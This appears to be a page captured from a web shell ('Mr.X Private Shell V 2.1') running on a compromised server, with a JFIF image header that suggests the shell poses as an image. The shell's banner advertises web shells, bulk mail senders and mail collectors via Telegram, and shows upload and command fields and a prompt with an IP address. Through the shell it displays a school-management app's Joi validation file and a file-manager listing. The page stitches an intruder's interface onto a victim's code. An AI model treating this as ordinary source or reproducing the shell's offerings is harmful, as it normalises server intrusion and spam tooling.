����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

sanzxfik@216.73.216.37: ~ $
import Joi from "joi";
import { errorMessages } from "../config/Constants.js";
import fs from "fs";
import path from "path";
import { getCommonSchemas } from "./commonSchema.js";

export const createCourseSchema = (lang = "en") => {
  return Joi.object({
    name: Joi.object({
      en: Joi.string().trim().min(2).max(100).allow("", null).messages({
        "string.min": lang === "ar" ? "اسم الكورس بالإنجليزية يجب أن يكون على الأقل حرفين" : "Course name (EN) must be at least 2 characters",
        "string.max": lang === "ar" ? "اسم الكورس بالإنجليزية يجب أن لا يتجاوز 100 حرف" : "Course name (EN) must not exceed 100 characters"
      }),
      ar: Joi.string().trim().min(2).max(100).allow("", null).messages({
        "string.min": lang === "ar" ? "اسم الكورس بالعربية يجب أن يكون على الأقل حرفين" : "Course name (AR) must be at least 2 characters",
        "string.max": lang === "ar" ? "اسم الكورس بالعربية يجب أن لا يتجاوز 100 حرف" : "Course name (AR) must not exceed 100 characters"
      })
    })
      .required()
      .custom((value, helpers) => {
        if (!value.en && !value.ar) {
          return helpers.error("custom.atLeastOne");
        }
        return value;
      })
      .messages({
        "any.required": lang === "ar" ? "اسم الكورس مطلوب" : "Course name is required",
        "custom.atLeastOne": lang === "ar"
          ? "يجب توفير اسم الكورس بلغة واحدة على الأقل"
          : "At least one language is required for course name"
      }),

    code: Joi.string().trim().min(2).max(20).required().messages({
      "any.required": lang === "ar" ? "كود الكورس مطلوب" : "Course code is required",
      "string.min": lang === "ar" ? "كود الكورس يجب أن يكون على الأقل حرفين" : "Course code must be at least 2 characters",
      "string.max": lang === "ar" ? "كود الكورس يجب أن لا يتجاوز 20 حرف" : "Course code must not exceed 20 characters"
    }),

    description: Joi.object({
      en: Joi.string().trim().max(500).allow("", null),
      ar: Joi.string().trim().max(500).allow("", null)
    }).optional(),

    creditHours: Joi.number().min(1).max(10).required().messages({
      "any.required": lang === "ar" ? "عدد الساعات مطلوب" : "Credit hours is required",
      "number.min": lang === "ar" ? "عدد الساعات يجب أن يكون على الأقل 1" : "Credit hours must be at least 1",
      "number.max": lang === "ar" ? "عدد الساعات يجب أن لا يتجاوز 10" : "Credit hours must not exceed 10"
    }),

    category: Joi.string()
      .valid("primary", "secondary", "higher-secondary")
      .required()
      .messages({
        "any.required": lang === "ar" ? "فئة الكورس مطلوبة" : "Course category is required",
        "any.only": lang === "ar"
          ? "فئة الكورس يجب أن تكون: ابتدائي أو ثانوي أو ثانوية عليا"
          : "Course category must be: primary, secondary, or higher-secondary"
      }),

    teacherIds: Joi.array()
      .items(Joi.string().pattern(/^[0-9a-fA-F]{24}$/))
      .optional()
      .messages({
        "string.pattern.base": lang === "ar" ? "معرف المعلم غير صالح" : "Invalid teacher ID format"
      }),

    active: Joi.boolean().optional()
  });
};

export const updateCourseSchema = (lang = "en") => {
  return Joi.object({
    name: Joi.object({
      en: Joi.string().trim().min(2).max(100).allow("", null),
      ar: Joi.string().trim().min(2).max(100).allow("", null)
    })
      .optional()
      .custom((value, helpers) => {
        if (value && !value.en && !value.ar) {
          return helpers.error("custom.atLeastOne");
        }
        return value;
      })
      .messages({
        "custom.atLeastOne": lang === "ar"
          ? "يجب توفير اسم الكورس بلغة واحدة على الأقل"
          : "At least one language is required for course name"
      }),

    code: Joi.string().trim().min(2).max(20).optional(),

    description: Joi.object({
      en: Joi.string().trim().max(500).allow("", null),
      ar: Joi.string().trim().max(500).allow("", null)
    }).optional(),

    creditHours: Joi.number().min(1).max(10).optional(),

    category: Joi.string()
      .valid("primary", "secondary", "higher-secondary")
      .optional(),

    teacherIds: Joi.array()
      .items(Joi.string().pattern(/^[0-9a-fA-F]{24}$/))
      .optional(),

    active: Joi.boolean().optional()
  });
};


const bilingualTextSchema = (fieldLabel, lang = "en") =>
  Joi.object({
    en: Joi.string().allow("").optional(),
    ar: Joi.string().allow("").optional(),
  })
    .custom((value, helpers) => {
      if (!value) return helpers.error("any.required");

      const hasEn = typeof value.en === "string" && value.en.trim() !== "";
      const hasAr = typeof value.ar === "string" && value.ar.trim() !== "";

      if (!hasEn && !hasAr) {
        return helpers.error("any.custom");
      }

      return value;
    })
    .messages({
      "any.required":
        lang === "ar"
          ? `${fieldLabel} مطلوب باللغة الإنجليزية أو العربية`
          : `${fieldLabel} is required in at least one language (EN or AR)`,
      "any.custom":
        lang === "ar"
          ? `${fieldLabel} لا يمكن أن يكون فارغًا في كلتا اللغتين`
          : `${fieldLabel} cannot be empty in both EN and AR`,
    });

export const createClassSchema = (lang = 'en') => {
  const messages = errorMessages[lang] || errorMessages.en;

  return Joi.object({
    name: bilingualTextSchema('Class name', lang).required(),

    section: bilingualTextSchema('Section', lang).required(),

    courseIds: Joi.array()
      .items(Joi.string().hex().length(24))
      .optional()
      .messages({
        'array.base': 'Courses must be an array',
        'string.hex': 'Each course ID must be a valid ObjectId',
        'string.length': 'Each course ID must be a valid ObjectId',
      }),

    teacherIds: Joi.array()
      .items(Joi.string().hex().length(24))
      .optional()
      .messages({
        'array.base': 'Teachers must be an array',
        'string.hex': 'Each teacher ID must be a valid ObjectId',
        'string.length': 'Each teacher ID must be a valid ObjectId',
      }),

    startTime: Joi.date()
      .iso()
      .required()
      .messages({
        'date.base': 'Start time must be a valid date',
        'date.format': 'Start time must be in ISO format',
        'any.required': 'Start time is required',
      }),

    endTime: Joi.date()
      .iso()
      .greater(Joi.ref('startTime'))
      .required()
      .messages({
        'date.base': 'End time must be a valid date',
        'date.format': 'End time must be in ISO format',
        'date.greater': 'End time must be after start time',
        'any.required': 'End time is required',
      }),

    days: Joi.array()
      .items(
        Joi.string().valid(
          'Sunday',
          'Monday',
          'Tuesday',
          'Wednesday',
          'Thursday',
          'Friday',
          'Saturday'
        )
      )
      .min(1)
      .required()
      .messages({
        'array.min': 'At least one day must be selected',
        'any.required': 'Days are required',
      }),

    academicYear: Joi.string().required().messages({
      'string.empty': 'Academic year is required',
      'any.required': 'Academic year is required',
    }),

    semester: Joi.string()
      .valid('Fall', 'Spring', 'Summer')
      .required()
      .messages({
        'any.only': 'Semester must be one of: Fall, Spring, Summer',
        'any.required': 'Semester is required',
      }),
  });
};

export const updateClassSchema = (lang = 'en') => {
  const messages = errorMessages[lang] || errorMessages.en;

  return Joi.object({
    name: bilingualTextSchema('Class name', lang).optional(),
    section: bilingualTextSchema('Section', lang).optional(),
    courseIds: Joi.array()
      .items(Joi.string().hex().length(24))
      .optional()
      .messages({
        'array.base': 'Courses must be an array',
        'string.hex': 'Each course ID must be a valid ObjectId',
        'string.length': 'Each course ID must be a valid ObjectId',
      }),

    teacherIds: Joi.array()
      .items(Joi.string().hex().length(24))
      .optional()
      .messages({
        'array.base': 'Teachers must be an array',
        'string.hex': 'Each teacher ID must be a valid ObjectId',
        'string.length': 'Each teacher ID must be a valid ObjectId',
      }),

    startTime: Joi.date()
      .iso()
      .messages({
        'date.base': 'Start time must be a valid date',
        'date.format': 'Start time must be in ISO format',
      }),

    endTime: Joi.date()
      .iso()
      .messages({
        'date.base': 'End time must be a valid date',
        'date.format': 'End time must be in ISO format',
      }),

    days: Joi.array()
      .items(
        Joi.string().valid(
          'Sunday',
          'Monday',
          'Tuesday',
          'Wednesday',
          'Thursday',
          'Friday',
          'Saturday'
        )
      )
      .min(1)
      .messages({
        'array.min': 'At least one day must be selected',
      }),

    academicYear: Joi.string().messages({
      'string.empty': 'Academic year cannot be empty',
    }),

    semester: Joi.string()
      .valid('Fall', 'Spring', 'Summer')
      .messages({
        'any.only': 'Semester must be one of: Fall, Spring, Summer',
      }),

    active: Joi.boolean(),
  }).custom((value, helpers) => {
    if (value.startTime && value.endTime) {
      if (new Date(value.endTime) <= new Date(value.startTime)) {
        return helpers.error('any.custom', {
          message: 'End time must be after start time',
        });
      }
    }
    return value;
  });
};
export const createDepartmentSchema = (lang = "en") => {
  const messages = errorMessages[lang] || errorMessages.en;

  return Joi.object({
    name: Joi.object({
      en: Joi.string().trim().min(2).max(100).messages({
        "string.empty": lang === "ar" ? "اسم القسم بالإنجليزية لا يمكن أن يكون فارغاً" : "Department name (EN) cannot be empty",
        "string.min": lang === "ar" ? "اسم القسم بالإنجليزية يجب أن يكون على الأقل حرفين" : "Department name (EN) must be at least 2 characters",
        "string.max": lang === "ar" ? "اسم القسم بالإنجليزية يجب أن لا يتجاوز 100 حرف" : "Department name (EN) must not exceed 100 characters",
      }),
      ar: Joi.string().trim().min(2).max(100).messages({
        "string.empty": lang === "ar" ? "اسم القسم بالعربية لا يمكن أن يكون فارغاً" : "Department name (AR) cannot be empty",
        "string.min": lang === "ar" ? "اسم القسم بالعربية يجب أن يكون على الأقل حرفين" : "Department name (AR) must be at least 2 characters",
        "string.max": lang === "ar" ? "اسم القسم بالعربية يجب أن لا يتجاوز 100 حرف" : "Department name (AR) must not exceed 100 characters",
      }),
    })
      .required()
      .custom((value, helpers) => {
        if (!value.en && !value.ar) {
          return helpers.error("custom.atLeastOne");
        }
        return value;
      })
      .messages({
        "any.required": lang === "ar" ? "اسم القسم مطلوب" : "Department name is required",
        "custom.atLeastOne": lang === "ar" 
          ? "يجب توفير اسم القسم بلغة واحدة على الأقل (العربية أو الإنجليزية)" 
          : "At least one language (EN or AR) is required for department name",
      }),
    description: Joi.object({
      en: Joi.string().trim().max(500).allow("", null).messages({
        "string.max": lang === "ar" ? "الوصف بالإنجليزية يجب أن لا يتجاوز 500 حرف" : "Description (EN) must not exceed 500 characters",
      }),
      ar: Joi.string().trim().max(500).allow("", null).messages({
        "string.max": lang === "ar" ? "الوصف بالعربية يجب أن لا يتجاوز 500 حرف" : "Description (AR) must not exceed 500 characters",
      }),
    }).optional(),
    type: Joi.string()
      .valid("academic", "administrative")
      .required()
      .messages({
        "any.only": lang === "ar" 
          ? "نوع القسم يجب أن يكون: أكاديمي أو إداري" 
          : "Department type must be one of: academic, administrative",
        "any.required": lang === "ar" ? "نوع القسم مطلوب" : "Department type is required",
      }),
    headId: Joi.string()
      .pattern(/^[0-9a-fA-F]{24}$/)
      .allow(null, "")
      .optional()
      .messages({
        "string.pattern.base": lang === "ar" 
          ? "معرف رئيس القسم غير صالح" 
          : "Invalid head ID format",
      }),
  });
};


export const updateDepartmentSchema = (lang = "en") => {
  const messages = errorMessages[lang] || errorMessages.en;

  return Joi.object({
    name: Joi.object({
      en: Joi.string().trim().min(2).max(100).allow("", null).messages({
        "string.min": lang === "ar" ? "اسم القسم بالإنجليزية يجب أن يكون على الأقل حرفين" : "Department name (EN) must be at least 2 characters",
        "string.max": lang === "ar" ? "اسم القسم بالإنجليزية يجب أن لا يتجاوز 100 حرف" : "Department name (EN) must not exceed 100 characters",
      }),
      ar: Joi.string().trim().min(2).max(100).allow("", null).messages({
        "string.min": lang === "ar" ? "اسم القسم بالعربية يجب أن يكون على الأقل حرفين" : "Department name (AR) must be at least 2 characters",
        "string.max": lang === "ar" ? "اسم القسم بالعربية يجب أن لا يتجاوز 100 حرف" : "Department name (AR) must not exceed 100 characters",
      }),
    })
      .optional()
      .custom((value, helpers) => {
        if (value && !value.en && !value.ar) {
          return helpers.error("custom.atLeastOne");
        }
        return value;
      })
      .messages({
        "custom.atLeastOne": lang === "ar" 
          ? "يجب توفير اسم القسم بلغة واحدة على الأقل" 
          : "At least one language is required for department name",
      }),

    description: Joi.object({
      en: Joi.string().trim().max(500).allow("", null).messages({
        "string.max": lang === "ar" ? "الوصف بالإنجليزية يجب أن لا يتجاوز 500 حرف" : "Description (EN) must not exceed 500 characters",
      }),
      ar: Joi.string().trim().max(500).allow("", null).messages({
        "string.max": lang === "ar" ? "الوصف بالعربية يجب أن لا يتجاوز 500 حرف" : "Description (AR) must not exceed 500 characters",
      }),
    }).optional(),
    type: Joi.string()
      .valid("academic", "administrative")
      .optional()
      .messages({
        "any.only": lang === "ar" 
          ? "نوع القسم يجب أن يكون: أكاديمي أو إداري" 
          : "Department type must be one of: academic, administrative",
      }),

    headId: Joi.string()
      .pattern(/^[0-9a-fA-F]{24}$/)
      .allow(null, "")
      .optional()
      .messages({
        "string.pattern.base": lang === "ar" 
          ? "معرف رئيس القسم غير صالح" 
          : "Invalid head ID format",
      }),

    active: Joi.boolean()
      .optional()
      .messages({
        "boolean.base": lang === "ar" 
          ? "حالة القسم يجب أن تكون صحيح أو خطأ" 
          : "Active status must be true or false",
      }),
  });
};


export const getDepartmentsQuerySchema = (lang = "en") => {
  return Joi.object({
    page: Joi.number().integer().min(1).default(1).messages({
      "number.base": lang === "ar" ? "رقم الصفحة يجب أن يكون رقماً" : "Page must be a number",
      "number.min": lang === "ar" ? "رقم الصفحة يجب أن يكون 1 على الأقل" : "Page must be at least 1",
    }),
    
    limit: Joi.number().integer().min(1).max(100).default(10).messages({
      "number.base": lang === "ar" ? "الحد يجب أن يكون رقماً" : "Limit must be a number",
      "number.min": lang === "ar" ? "الحد يجب أن يكون 1 على الأقل" : "Limit must be at least 1",
      "number.max": lang === "ar" ? "الحد يجب أن لا يتجاوز 100" : "Limit must not exceed 100",
    }),
    
    search: Joi.string().trim().max(100).allow("").optional().messages({
      "string.max": lang === "ar" ? "نص البحث يجب أن لا يتجاوز 100 حرف" : "Search text must not exceed 100 characters",
    }),
    
    type: Joi.string()
      .valid("academic", "administrative")
      .optional()
      .messages({
        "any.only": lang === "ar" 
          ? "نوع القسم يجب أن يكون: أكاديمي أو إداري" 
          : "Type must be one of: academic, administrative",
      }),
    
    active: Joi.string()
      .valid("true", "false")
      .optional()
      .messages({
        "any.only": lang === "ar" 
          ? "الحالة يجب أن تكون: true أو false" 
          : "Active must be: true or false",
      }),
  });
};

export const departmentIdSchema = (lang = "en") => {
  return Joi.object({
    id: Joi.string()
      .pattern(/^[0-9a-fA-F]{24}$/)
      .required()
      .messages({
        "string.pattern.base": lang === "ar" 
          ? "معرف القسم غير صالح" 
          : "Invalid department ID format",
        "any.required": lang === "ar" 
          ? "معرف القسم مطلوب" 
          : "Department ID is required",
      }),
  });
};

const deleteFile = (filePath) => {
  if (!filePath) return;
  const fullPath = path.resolve(filePath);
  fs.unlink(fullPath, (err) => {
    if (err) console.error(`Failed to delete file: ${filePath}`, err);
  });
};


export const createContractSchema = (lang = "en") => {
  return Joi.object({
    teacherId: Joi.string().hex().length(24).required().messages({
      "string.empty": lang === "ar" ? "معرف المعلم مطلوب" : "Teacher ID is required",
      "string.length": lang === "ar" ? "تنسيق معرف المعلم غير صالح" : "Invalid Teacher ID format",
    }),
    type: Joi.string()
      .valid("Contract", "Agreement", "NOC", "Warning")
      .required()
      .messages({
        "any.required": lang === "ar" ? "نوع العقد مطلوب" : "Contract type is required",
        "any.only": lang === "ar" ? "النوع يجب أن يكون: عقد، اتفاقية، NOC، أو تحذير" : "Type must be Contract, Agreement, NOC, or Warning"
      }),
    uploadDate: Joi.date().required().messages({
      "date.base": lang === "ar" ? "تاريخ الرفع غير صالح" : "Upload date must be a valid date",
      "any.required": lang === "ar" ? "تاريخ الرفع مطلوب" : "Upload date is required"
    }),
    expiryDate: Joi.date().greater(Joi.ref("uploadDate")).required().messages({
      "date.greater": lang === "ar" ? "تاريخ الانتهاء يجب أن يكون بعد تاريخ الرفع" : "Expiry date must be after upload date",
      "any.required": lang === "ar" ? "تاريخ الانتهاء مطلوب" : "Expiry date is required"
    }),
  });
};

export const updateContractSchema = (lang = "en") => {
  return Joi.object({
    teacherId: Joi.string().hex().length(24).optional(),
    type: Joi.string().valid("Contract", "Agreement", "NOC", "Warning").optional(),
    uploadDate: Joi.date().optional(),
    expiryDate: Joi.date().greater(Joi.ref("uploadDate")).optional().messages({
       "date.greater": lang === "ar" ? "تاريخ الانتهاء يجب أن يكون بعد تاريخ الرفع" : "Expiry date must be after upload date",
    }),
  });
};


export const createTeacherQuestionSchema = (lang = "en") => {
  return Joi.object({
    question: Joi.object({
      en: Joi.string().trim().min(2).max(500).allow("", null).messages({ 
        "string.min": lang === "ar" ? "نص السؤال بالإنجليزية يجب أن يكون على الأقل حرفين" : "English question text must be at least 2 characters",
        "string.max": lang === "ar" ? "نص السؤال بالإنجليزية يجب أن لا يتجاوز 500 حرف" : "English question text must not exceed 500 characters"
      }),
      ar: Joi.string().trim().min(2).max(500).allow("", null).messages({ 
        "string.min": lang === "ar" ? "نص السؤال بالعربية يجب أن يكون على الأقل حرفين" : "Arabic question text must be at least 2 characters",
        "string.max": lang === "ar" ? "نص السؤال بالعربية يجب أن لا يتجاوز 500 حرف" : "Arabic question text must not exceed 500 characters"
      })
    })
      .required() 
      .custom((value, helpers) => {
        if (!value.en && !value.ar) {
          return helpers.error("custom.atLeastOne");
        }
        return value;
      })
      .messages({
        "any.required": lang === "ar" ? "السؤال مطلوب" : "Question is required",
        "custom.atLeastOne": lang === "ar"
          ? "يجب توفير نص السؤال بلغة واحدة على الأقل (الإنجليزية أو العربية)"
          : "At least one language is required for the question text (English or Arabic)"
      }),

    category: Joi.string()
      .valid(
        "teaching", "behavior", "communication", "punctuality",
        "teamwork", "initiative", "professionalDevelopment", "other"
      )
      .default("other") 
      .optional() 
      .messages({
        "any.only": lang === "ar" ? "فئة السؤال غير صالحة" : "Invalid question category"
      }),

    weight: Joi.number().integer().min(1).max(100).default(1).optional().messages({
      "number.min": lang === "ar" ? "الوزن يجب أن يكون 1 على الأقل" : "Weight must be at least 1",
      "number.max": lang === "ar" ? "الوزن يجب أن لا يتجاوز 100" : "Weight must not exceed 100"
    }),

    active: Joi.boolean().default(true).optional(),
 
  });
};

export const updateTeacherQuestionSchema = (lang = "en") => {
  return Joi.object({
    question: Joi.object({
      en: Joi.string().trim().min(2).max(500).allow("", null),
      ar: Joi.string().trim().min(2).max(500).allow("", null)
    })
      .optional() 
      .custom((value, helpers) => {
        if (value && !value.en && !value.ar) {
          return helpers.error("custom.atLeastOne");
        }
        return value;
      })
      .messages({
        "custom.atLeastOne": lang === "ar"
          ? "يجب توفير نص السؤال بلغة واحدة على الأقل (الإنجليزية أو العربية)"
          : "At least one language is required for the question text (English or Arabic)"
      }),

    category: Joi.string()
      .valid(
        "teaching", "behavior", "communication", "punctuality",
        "teamwork", "initiative", "professionalDevelopment", "other"
      )
      .optional(),

    weight: Joi.number().integer().min(1).max(100).optional(), 
    active: Joi.boolean().optional(),
  });
};


const getNameSchema = (messages) => {
  const nameField = Joi.string()
    .max(80)
    .allow('')
    .messages({
      "string.max": messages.nameMax || "Must be at most 80 characters long",
    });

  return Joi.object({
    en: Joi.object({
      firstName: nameField.label("English First Name"),
      lastName: nameField.label("English Last Name"),
    }).default({ firstName: '', lastName: '' }),

    ar: Joi.object({
      firstName: nameField.label("Arabic First Name"),
      lastName: nameField.label("Arabic Last Name"),
    }).default({ firstName: '', lastName: '' }),
  })
    .custom((value, helpers) => {
      const enFirstName = value.en?.firstName?.trim() || '';
      const enLastName = value.en?.lastName?.trim() || '';
      const arFirstName = value.ar?.firstName?.trim() || '';
      const arLastName = value.ar?.lastName?.trim() || '';

      const hasEnglishName = enFirstName.length > 0 || enLastName.length > 0;
      const hasArabicName = arFirstName.length > 0 || arLastName.length > 0;

      if (!hasEnglishName && !hasArabicName) {
        return helpers.error('name.required');
      }
      return value;
    })
    .messages({
      "any.required": messages.nameRequired || "Name object is required",
      "name.required": messages.nameRequired || "Full name is required in at least one language",
    });
};

export const createStudentSchema = (lang = "en") => {
  const { emailSchema, passwordSchema } = getCommonSchemas(lang);
  const messages = errorMessages[lang] || errorMessages.en;

  return Joi.object({
    
    name: getNameSchema(messages).required(),
    email: emailSchema,
    password: passwordSchema,
    
    phoneNumber: Joi.string()
      .pattern(/^\+?[0-9]{7,15}$/)
      .allow('', null)
      .optional()
      .messages({ "string.pattern.base": messages.phoneInvalid || "Invalid phone number" }),

    joiningDate: Joi.date()
      .allow(null)
      .optional(),

    
    classId: Joi.string().hex().length(24).allow('', null).label("Class ID"),
    
    rollNumber: Joi.string()
      .label("Roll Number")
      .when('classId', {
        is: Joi.exist(),
        then: Joi.required(),
        otherwise: Joi.optional().allow('', null)
      }),

    section: Joi.string()
      .label("Section")
      .when('classId', {
        is: Joi.exist(),
        then: Joi.required(),
        otherwise: Joi.optional().allow('', null)
      }),

    academicYear: Joi.string()
      .label("Academic Year")
      .when('classId', {
        is: Joi.exist(),
        then: Joi.required(),
        otherwise: Joi.optional().allow('', null)
      }),
  });
};

export const updateStudentSchema = (lang = "en") => {
  const { emailSchema } = getCommonSchemas(lang);
  const messages = errorMessages[lang] || errorMessages.en;

  
  return Joi.object({
    name: getNameSchema(messages).optional(),
    
    email: emailSchema.optional(),
    
    phoneNumber: Joi.string()
      .pattern(/^\+?[0-9]{7,15}$/)
      .allow('', null)
      .optional(),

    joiningDate: Joi.date().allow(null).optional(),
    
    languagePreference: Joi.string().valid("en", "ar").optional(),
  });
};


export const assignClassSchema = (lang = "en") => {
  return Joi.object({
    classId: Joi.string().hex().length(24).required().label("Class ID"),
    rollNumber: Joi.string().required().label("Roll Number"),
    section: Joi.string().required().label("Section"),
    academicYear: Joi.string().required().label("Academic Year"),
  });
};

export const promoteStudentSchema = (lang = "en") => {
  return Joi.object({
    newClassId: Joi.string().hex().length(24).required().label("New Class ID"),
    newRollNumber: Joi.string().required().label("New Roll Number"),
    newSection: Joi.string().required().label("New Section"),
    newAcademicYear: Joi.string().required().label("New Academic Year"),
  });
};

Filemanager

Name Type Size Permission Actions
adminValidation.js File 26.86 KB 0644
commonSchema.js File 5.25 KB 0644
hrValidations.js File 9.55 KB 0644
index.js File 3.14 KB 0644
studentValidation.js File 3.4 KB 0644
teacherValidation.js File 8.99 KB 0644
userValidation.js File 7.33 KB 0644